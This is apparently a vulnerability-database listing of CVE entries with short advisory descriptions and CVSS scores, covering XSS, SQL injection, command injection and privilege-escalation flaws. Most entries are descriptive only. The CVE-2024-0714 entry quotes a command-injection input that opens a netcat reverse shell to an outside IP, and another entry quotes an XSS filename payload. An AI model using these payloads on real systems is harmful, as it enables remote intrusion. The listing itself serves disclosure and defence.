CVE-2023-51736	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the L2TP/PPTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51737	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Preshared Phrase parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51738	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Network Name (SSID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51739	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Device Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-5080	A privilege escalation vulnerability was reported in some Lenovo tablet products that could allow local applications access to device identifiers and system commands.	6.8	More Details
CVE-2024-20277	A vulnerability in the web-based management interface of Cisco ThousandEyes Enterprise Agent, Virtual Appliance installation type, could allow an authenticated, remote attacker to perform a command injection and elevate privileges to root. This vulnerability is due to insufficient validation of user-supplied input for the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP packet to the affected device. A successful exploit could allow the attacker to execute arbitrary commands and elevate privileges to root.	6.8	More Details
CVE-2023-38738	IBM OpenPages with Watson 8.3 and 9.0 could provide weaker than expected security in a OpenPages environment using Native authentication. If OpenPages is using Native authentication an attacker with access to the OpenPages database could through a series of specially crafted steps could exploit this weakness and gain unauthorized access to other OpenPages accounts. IBM X-Force ID: 262594.	6.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-28722	Improper buffer restrictions for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	6.7	More Details
CVE-2023-29244	Incorrect default permissions in some Intel Integrated Sensor Hub (ISH) driver for Windows 10 for Intel NUC P14E Laptop Element software installers before version 5.4.1.4479 may allow an authenticated user to potentially enable escalation of privilege via local access.	6.7	More Details
CVE-2023-38541	Insecure inherited permissions in some Intel HID Event Filter drivers for Windows 10 for some Intel NUC laptop software installers before version 2.2.2.1 may allow an authenticated user to potentially enable escalation of privilege via local access.	6.7	More Details
CVE-2024-0775	A use-after-free flaw was found in the __ext4_remount in fs/ext4/super.c in ext4 in the Linux kernel. This flaw allows a local user to cause an information leak problem while freeing the old quota file names before a potential failure, leading to a use-after-free.	6.7	More Details
CVE-2024-0607	A flaw was found in the Netfilter subsystem in the Linux kernel. The issue is in the nft_byteorder_eval() function, where the code iterates through a loop and writes to the `dst` array. On each iteration, 8 bytes are written, but `dst` is an array of u32, so each element only has space for 4 bytes. That means every iteration overwrites part of the previous element corrupting this array of u32. This flaw allows a local user to cause a denial of service or potentially break NetFilter functionality.	6.6	More Details
CVE-2022-45083	Deserialization of Untrusted Data vulnerability in ProfilePress Membership Team Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress.This issue affects Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress: from n/a through 4.3.2.	6.6	More Details
CVE-2024-23675	In Splunk Enterprise versions below 9.0.8 and 9.1.3, Splunk app key value store (KV Store) improperly handles permissions for users that use the REST application programming interface (API). This can potentially result in the deletion of KV Store collections.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22418	Group-Office is an enterprise CRM and groupware tool. Affected versions are subject to a vulnerability which is present in the file upload mechanism of Group Office. It allows an attacker to execute arbitrary JavaScript code by embedding it within a file's name. For instance, using a filename such as “><img src=x onerror=prompt('XSS')>.jpg” triggers the vulnerability. When this file is uploaded, the JavaScript code within the filename is executed. This issue has been addressed in version 6.8.29. All users are advised to upgrade. There are no known workarounds for this vulnerability.	6.5	More Details
CVE-2023-20271	A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager (EPNM) could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected system. This vulnerability is due to improper validation of user-submitted parameters. An attacker could exploit this vulnerability by authenticating to the application and sending malicious requests to an affected system. A successful exploit could allow the attacker to obtain and modify sensitive information that is stored in the underlying database.	6.5	More Details
CVE-2024-0752	A use-after-free crash could have occurred on macOS if a Firefox update were being applied on a very busy system. This could have resulted in an exploitable crash. This vulnerability affects Firefox < 122.	6.5	More Details
CVE-2023-50308	IBM Db2 for Linux, UNIX and Windows (includes DB2 Connect Server) 11.5 under certain circumstances could allow an authenticated user to the database to cause a denial of service when a statement is run on columnar tables. IBM X-Force ID: 273393.	6.5	More Details
CVE-2023-27859	IBM Db2 10.1, 10.5, and 11.1 could allow a remote user to execute arbitrary code caused by installing like named jar files across multiple databases. A user could exploit this by installing a malicious jar file that overwrites the existing like named jar file in another database. IBM X-Force ID: 249205.	6.5	More Details
CVE-2024-0753	In specific HSTS configurations an attacker could have bypassed HSTS on a subdomain. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51743	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Set Upstream Channel ID (UCID) parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system.	6.5	More Details
CVE-2024-23206	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user.	6.5	More Details
CVE-2023-33295	Cohesity DataProtect prior to 6.8.1_u5 or 7.1 was discovered to have a incorrect access control vulnerability due to a lack of TLS Certificate Validation.	6.5	More Details
CVE-2023-20258	A vulnerability in the web-based management interface of Cisco Prime Infrastructure could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system. This vulnerability is due to improper processing of serialized Java objects by the affected application. An attacker could exploit this vulnerability by uploading a document containing malicious serialized Java objects to be processed by the affected application. A successful exploit could allow the attacker to cause the application to execute arbitrary commands.	6.5	More Details
CVE-2023-5006	The WP Discord Invite WordPress plugin before 2.5.1 does not protect some of its actions against CSRF attacks, allowing an unauthenticated attacker to perform actions on their behalf by tricking a logged in administrator to submit a crafted request.	6.5	More Details
CVE-2024-20287	A vulnerability in the web-based management interface of the Cisco WAP371 Wireless-AC/N Dual Radio Access Point (AP) with Single Point Setup could allow an authenticated, remote attacker to perform command injection attacks against an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the device. To exploit this vulnerability, the attacker must have valid administrative credentials for the device.	6.5	More Details
CVE-2022-36418	Missing Authorization vulnerability in Vagary Digital HREFLANG Tags Lite.This issue affects HREFLANG Tags Lite: from n/a through 2.0.0.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0580	Omission of user-controlled key authorization in the IDMSistemas platform, affecting the QSige product. This vulnerability allows an attacker to extract sensitive information from the API by making a request to the parameter '/qsige.locator/quotePrevious/centers/X', where X supports values 1,2,3, etc.	6.5	More Details
CVE-2024-0754	Some WASM source files could have caused a crash when loaded in devtools. This vulnerability affects Firefox < 122.	6.5	More Details
CVE-2023-51742	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Add Downstream Frequency parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform a Denial of Service (DoS) attack on the targeted system.	6.5	More Details
CVE-2024-22420	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. This vulnerability depends on user interaction by opening a malicious Markdown file using JupyterLab preview feature. A malicious user can access any data that the attacked user has access to as well as perform arbitrary requests acting as the attacked user. JupyterLab version 4.0.11 has been patched. Users are advised to upgrade. Users unable to upgrade should disable the table of contents extension.	6.5	More Details
CVE-2024-23525	The Spreadsheet::ParseXLSX package before 0.30 for Perl allows XXE attacks because it neglects to use the no_xxe option of XML::Twig.	6.5	More Details
CVE-2023-36235	An issue in webkul qloapps before v1.6.0 allows an attacker to obtain sensitive information via the id_order parameter.	6.5	More Details
CVE-2024-0741	An out of bounds write in ANGLE could have allowed an attacker to corrupt memory leading to a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	6.5	More Details
CVE-2024-0746	A Linux user opening the print preview dialog could have caused the browser to crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	6.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0679	The ColorMag theme for WordPress is vulnerable to unauthorized access due to a missing capability check on the plugin_action_callback() function in all versions up to, and including, 3.1.2. This makes it possible for authenticated attackers, with subscriber-level access and above, to install and activate arbitrary plugins.	6.5	More Details
CVE-2022-47160	Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wpmet Wp Social Login and Register Social Counter.This issue affects Wp Social Login and Register Social Counter: from n/a through 1.9.0.	6.5	More Details
CVE-2024-0747	When a parent page loaded a child in an iframe with `unsafe-inline`, the parent Content Security Policy could have overridden the child Content Security Policy. This vulnerability affects Firefox < 122, Firefox ESR < 115.7, and Thunderbird < 115.7.	6.5	More Details
CVE-2023-50963	IBM Storage Defender - Data Protect 1.0.0 through 1.4.1 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 276101.	6.5	More Details
CVE-2023-35836	An issue was discovered in SolaX Pocket WiFi 3 through 3.001.02. An attacker within RF range can obtain a cleartext copy of the network configuration of the device, including the Wi-Fi PSK, during device setup and reconfiguration. Upon success, the attacker is able to further infiltrate the target's Wi-Fi networks.	6.5	More Details
CVE-2024-22414	flaskBlog is a simple blog app built with Flask. Improper storage and rendering of the `/user/<user>` page allows a user's comments to execute arbitrary javascript code. The html template `user.html` contains the following code snippet to render comments made by a user: `<div class="content" tag="content">{{comment[2]|safe}}</div>`. Use of the "safe" tag causes flask to _not_ escape the rendered content. To remediate this, simply remove the `|safe` tag from the HTML above. No fix is is available and users are advised to manually edit their installation.	6.5	More Details
CVE-2023-6958	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0381	The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the use of the 'tag' attribute in the wprm-recipe-name, wprm-recipe-date, and wprm-recipe-counter shortcodes in all versions up to, and including, 9.1.0. This makes it possible for authenticated attackers with contributor-level and above permissions to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	6.4	More Details
CVE-2023-42887	An access issue was addressed with additional sandbox restrictions. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2. An app may be able to read arbitrary files.	6.3	More Details
CVE-2024-0651	A vulnerability was found in PHPGurukul Company Visitor Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file search-visitor.php. The manipulation leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251377 was assigned to this vulnerability.	6.3	More Details
CVE-2024-0738	A vulnerability, which was classified as critical, has been found in 个人开源 mldong 1.0. This issue affects the function ExpressionEngine of the file com/mldong/modules/wf/engine/model/DecisionModel.java. The manipulation leads to code injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251561 was assigned to this vulnerability.	6.3	More Details
CVE-2023-6044	A privilege escalation vulnerability was reported in Lenovo Vantage that could allow a local attacker with physical access to impersonate Lenovo Vantage Service and execute arbitrary code with elevated privileges.	6.3	More Details
CVE-2024-23339	hoolock is a suite of lightweight utilities designed to maintain a small footprint when bundled. Starting in version 2.0.0 and prior to version 2.2.1, utility functions related to object paths (`get`, `set`, and `update`) did not block attempts to access or alter object prototypes. Starting in version 2.2.1, the `get`, `set` and `update` functions throw a `TypeError` when a user attempts to access or alter inherited properties.	6.3	More Details
CVE-2024-0784	A vulnerability was found in hongmaple octopus 1.0. It has been classified as critical. Affected is an unknown function of the file /system/role/list. The manipulation of the argument dataScope leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The identifier of this vulnerability is VDB-251700.	6.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0649	A vulnerability was found in ZhiHuiYun up to 4.4.13 and classified as critical. This issue affects the function download_network_image of the file /app/Http/Controllers/ImageController.php of the component Search. The manipulation of the argument url leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251375.	6.3	More Details
CVE-2022-40203	Missing Authorization vulnerability in AlgolPlus Advanced Dynamic Pricing for WooCommerce.This issue affects Advanced Dynamic Pricing for WooCommerce: from n/a through 4.1.5.	6.3	More Details
CVE-2024-0669	A Cross-Frame Scripting vulnerability has been found on Plone CMS affecting verssion below 6.0.5. An attacker could store a malicious URL to be opened by an administrator and execute a malicios iframe element.	6.3	More Details
CVE-2024-0714	A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	6.3	More Details
CVE-2023-43816	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wKPFStringLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	6.3	More Details
CVE-2024-0733	A vulnerability was found in Smsot up to 2.12. It has been classified as critical. Affected is an unknown function of the file /api.php of the component HTTP POST Request Handler. The manipulation of the argument data[sign] leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251556.	6.3	More Details
CVE-2024-0730	A vulnerability, which was classified as critical, was found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file course_ajax.php. The manipulation of the argument id leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251553 was assigned to this vulnerability.	6.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0734	A vulnerability was found in Smsot up to 2.12. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /get.php. The manipulation of the argument tid leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-251557 was assigned to this vulnerability.	6.3	More Details
CVE-2024-0735	A vulnerability was found in SourceCodester Online Tours & Travels Management System 1.0. It has been rated as critical. Affected by this issue is the function exec of the file admin/operations/expense.php. The manipulation leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-251558 is the identifier assigned to this vulnerability.	6.3	More Details
CVE-2024-0783	A vulnerability was found in Project Worlds Online Admission System 1.0 and classified as critical. This issue affects some unknown processing of the file documents.php. The manipulation leads to unrestricted upload. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251699.	6.3	More Details
CVE-2024-23223	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data.	6.2	More Details
CVE-2024-23219	The issue was addressed with improved authentication. This issue is fixed in iOS 17.3 and iPadOS 17.3. Stolen Device Protection may be unexpectedly disabled.	6.2	More Details
CVE-2024-22417	Whoogle Search is a self-hosted metasearch engine. In versions 0.8.3 and prior, the `element` method in `app/routes.py` does not validate the user-controlled `src_type` and `element_url` variables and passes them to the `send` method which sends a `GET` request on lines 339-343 in `requests.py`. The returned contents of the URL are then passed to and reflected back to the user in the `send_file` function on line 484, together with the user-controlled `src_type`, which allows the attacker to control the HTTP response content type leading to a cross-site scripting vulnerability. An attacker could craft a special URL to point to a malicious website and send the link to a victim. The fact that the link would contain a trusted domain (e.g. from one of public Whoogle instances) could be used to trick the user into clicking the link. The malicious website could, for example, be a copy of a real website, meant to steal a person's credentials to the website, or trick that person in another way. Version 0.8.4 contains a patch for this issue.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23341	TuiTse-TsuSin is a package for organizing the comparative corpus of Taiwanese Chinese characters and Roman characters, and extracting sentences of the Taiwanese Chinese characters and the Roman characters. Prior to version 1.3.2, when using `tuitse_html` without quoting the input, there is a html injection vulnerability. Version 1.3.2 contains a patch for the issue. As a workaround, sanitize Taigi input with HTML quotation.	6.1	More Details
CVE-2024-23725	Ghost before 5.76.0 allows XSS via a post excerpt in excerpt.js. An XSS payload can be rendered in post summaries.	6.1	More Details
CVE-2023-41178	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is similar to, but not identical to, CVE-2023-41176.	6.1	More Details
CVE-2024-22113	Open redirect vulnerability in Access analysis CGI An-Analyzer released in 2023 December 31 and earlier allows a remote unauthenticated attacker to redirect users to arbitrary websites and conduct phishing attacks via a specially crafted URL.	6.1	More Details
CVE-2024-22497	Cross Site Scripting (XSS) vulnerability in /admin/login password parameter in JFinalcms 5.0.0 allows attackers to run arbitrary code via crafted URL.	6.1	More Details
CVE-2023-7153	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Macroturk Software and Internet Technologies Macro-Bel allows Reflected XSS.This issue affects Macro-Bel: before V.1.0.1.	6.1	More Details
CVE-2024-0606	An attacker could execute unauthorized script on a legitimate site through UXSS using window.open() by opening a javascript URI leading to unauthorized actions within the user's loaded webpage. This vulnerability affects Focus for iOS < 122.	6.1	More Details
CVE-2023-41177	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is similar to, but not identical to, CVE-2023-41178.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-6970	The WP Recipe Maker plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'Referer' header in all versions up to, and including, 9.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2023-52326	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52327.	6.1	More Details
CVE-2024-22714	Stupid Simple CMS <=1.2.4 is vulnerable to Cross Site Scripting (XSS) in the editing section of the article content.	6.1	More Details
CVE-2023-48858	A Cross-site scripting (XSS) vulnerability in login page php code in Armex ABO.CMS 5.9 allows remote attackers to inject arbitrary web script or HTML via the login.php? URL part.	6.1	More Details
CVE-2023-51946	Multiple reflected cross-site scripting (XSS) vulnerabilities in nasSvr.php in actidata actiNAS-SL-2U-8 3.2.03-SP1 allow remote attackers to inject arbitrary web script or HTML.	6.1	More Details
CVE-2023-46952	Cross Site Scripting vulnerability in ABO.CMS v.5.9.3 allows an attacker to execute arbitrary code via a crafted payload to the Referer header.	6.1	More Details
CVE-2024-23181	Cross-site scripting vulnerability in a-blog cms Ver.3.1.x series versions prior to Ver.3.1.7, Ver.3.0.x series versions prior to Ver.3.0.29, Ver.2.11.x series versions prior to Ver.2.11.58, Ver.2.10.x series versions prior to Ver.2.10.50, and Ver.2.9.0 and earlier allows a remote unauthenticated attacker to execute an arbitrary script on the logged-in user's web browser.	6.1	More Details
CVE-2023-52330	A cross-site scripting vulnerability in Trend Micro Apex Central could allow a remote attacker to execute arbitrary code on affected installations of Trend Micro Apex Central. Please note: user interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.	6.1	More Details
CVE-2024-23659	SPIP before 4.1.14 and 4.2.x before 4.2.8 allows XSS via the name of an uploaded file. This is related to javascript/bigup.js and javascript/bigup.utils.js.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-52329	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52326.	6.1	More Details
CVE-2024-0587	The AMP for WP – Accelerated Mobile Pages plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'disqus_name' parameter in all versions up to, and including, 1.0.92.1 due to insufficient input sanitization and output escaping on the executed JS file. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.	6.1	More Details
CVE-2023-52328	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52329.	6.1	More Details
CVE-2023-52327	Certain dashboard widgets on Trend Micro Apex Central (on-premise) are vulnerable to cross-site scripting (XSS) attacks that may allow an attacker to achieve remote code execution on affected servers. Please note this vulnerability is similar, but not identical to CVE-2023-52328.	6.1	More Details
CVE-2023-41176	Reflected cross-site scripting (XSS) vulnerabilities in Trend Micro Mobile Security (Enterprise) could allow an exploit against an authenticated victim that visits a malicious link provided by an attacker. Please note, this vulnerability is similar to, but not identical to, CVE-2023-41177.	6.1	More Details
CVE-2024-0758	MolecularFaces before 0.3.0 is vulnerable to cross site scripting. A remote attacker can execute arbitrary JavaScript in the context of a victim browser via crafted molfiles.	6.1	More Details
CVE-2023-25295	A Cross Site Scripting (XSS) vulnerability in evewa3ajax.php in GRUEN eVEWA3 Community 31 through 53 allows attackers to obtain escalated privileges via a crafted request to the login panel.	6.1	More Details
CVE-2024-22490	Cross Site Scripting (XSS) vulnerability in beetl-bbs 2.0 allows attackers to run arbitrary code via the /index keyword parameter.	6.1	More Details
CVE-2024-22496	Cross Site Scripting (XSS) vulnerability in JFinalcms 5.0.0 allows attackers to run arbitrary code via the /admin/login username parameter.	6.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-45889	A Universal Cross Site Scripting (UXSS) vulnerability in ClassLink OneClick Extension through 10.8 allows remote attackers to inject JavaScript into any webpage. NOTE: this issue exists because of an incomplete fix for CVE-2022-48612.	6.1	More Details
CVE-2023-7194	The Meris WordPress theme through 1.1.2 does not sanitise and escape some parameters before outputting them back in the page, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin	6.1	More Details
CVE-2023-7170	The EventON-RSVP WordPress plugin before 2.9.5 does not sanitise and escape some parameters before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	6.1	More Details
CVE-2023-20260	A vulnerability in the application CLI of Cisco Prime Infrastructure and Cisco Evolved Programmable Network Manager could allow an authenticated, local attacker to gain escalated privileges. This vulnerability is due to improper processing of command line arguments to application scripts. An attacker could exploit this vulnerability by issuing a command on the CLI with malicious options. A successful exploit could allow the attacker to gain the escalated privileges of the root user on the underlying operating system.	6.0	More Details
CVE-2024-23218	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key.	5.9	More Details
CVE-2023-45193	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 federated server is vulnerable to a denial of service when a specially crafted cursor is used. IBM X-Force ID: 268759.	5.9	More Details
CVE-2023-47152	IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 11.5 is vulnerable to an insecure cryptographic algorithm and to information disclosure in stack trace under exceptional conditions.	5.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-46889	Meross MSH30Q 4.5.23 is vulnerable to Cleartext Transmission of Sensitive Information. During the device setup phase, the MSH30Q creates an unprotected Wi-Fi access point. In this phase, MSH30Q needs to connect to the Internet through a Wi-Fi router. This is why MSH30Q asks for the Wi-Fi network name (SSID) and the Wi-Fi network password. When the user enters the password, the transmission of the Wi-Fi password and name between the MSH30Q and mobile application is observed in the Wi-Fi network. Although the Wi-Fi password is encrypted, a part of the decryption algorithm is public so we complemented the missing parts to decrypt it.	5.7	More Details
CVE-2023-7031	Insecure Direct Object Reference vulnerabilities were discovered in the Avaya Aura Experience Portal Manager which may allow partial information disclosure to an authenticated non-privileged user. Affected versions include 8.0.x and 8.1.x, prior to 8.1.2 patch 0402. Versions prior to 8.0 are end of manufacturer support.	5.7	More Details
CVE-2023-7237	Lantronix XPort sends weakly encoded credentials within web request headers.	5.7	More Details
CVE-2023-48352	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-48344	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2024-23215	An issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data.	5.5	More Details
CVE-2024-0408	A flaw was found in the X.Org server. The GLX PBuffer code does not call the XACE hook when creating the buffer, leaving it unlabeled. When the client issues another request to access that resource (as with a GetGeometry) or when it creates another resource that needs to access that buffer, such as a GC, the XSELINUX code will try to use an object that was never labeled and crash because the SID is NULL.	5.5	More Details
CVE-2023-48340	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51258	A memory leak issue discovered in YASM v.1.3.0 allows a local attacker to cause a denial of service via the new_Token function in the modules/preprocs/nasm/nasm-pp:1512.	5.5	More Details
CVE-2024-0430	IObit Malware Fighter v11.0.0.1274 is vulnerable to a Denial of Service vulnerability by triggering the 0x8001E00C IOCTL code of the ImfHpRegFilter.sys driver.	5.5	More Details
CVE-2023-48351	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-48341	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2024-23207	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data.	5.5	More Details
CVE-2024-0639	A denial of service vulnerability due to a deadlock was found in sctp_auto_asconf_init in net/sctp/socket.c in the Linux kernel's SCTP subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system.	5.5	More Details
CVE-2023-48343	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-6573	HPE OneView may have a missing passphrase during restore.	5.5	More Details
CVE-2024-0729	A vulnerability, which was classified as critical, has been found in ForU CMS up to 2020-06-23. Affected by this issue is some unknown functionality of the file cms_admin.php. The manipulation of the argument a_name leads to sql injection. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251552.	5.5	More Details
CVE-2023-42937	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data.	5.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-42935	An authentication issue was addressed with improved state management. This issue is fixed in macOS Ventura 13.6.4. A local attacker may be able to view the previous logged in user's desktop from the fast user switching screen.	5.5	More Details
CVE-2024-0641	A denial of service vulnerability was found in tipc_crypto_key_revoke in net/tipc/crypto.c in the Linux kernel's TIPC subsystem. This flaw allows guests with local user privileges to trigger a deadlock and potentially crash the system.	5.5	More Details
CVE-2023-42888	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory.	5.5	More Details
CVE-2023-48350	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
CVE-2023-48345	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	5.5	More Details
